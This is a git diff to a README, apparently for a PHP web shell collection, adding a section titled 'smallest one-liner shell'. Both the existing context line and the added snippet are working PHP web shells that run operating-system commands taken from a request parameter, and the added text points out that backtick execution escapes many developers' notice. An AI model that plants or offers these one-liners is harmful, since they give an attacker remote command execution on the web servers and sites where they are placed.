diff --git a/README.md b/README.md
index c40f173..8164eff 100644
--- a/README.md
+++ b/README.md
@@ -28,6 +28,12 @@ For basic features, I recommend one-liners like :
 
 `<?php passthru($_REQUEST['cmd']); ?>`
 
+smallest one-liner shell:
+===
+```
+`` is backtick character anything b/w this execute directly. many devs unaware about it.
+<?=`$_GET[C]`?>
+```
 
 Cite:
 =====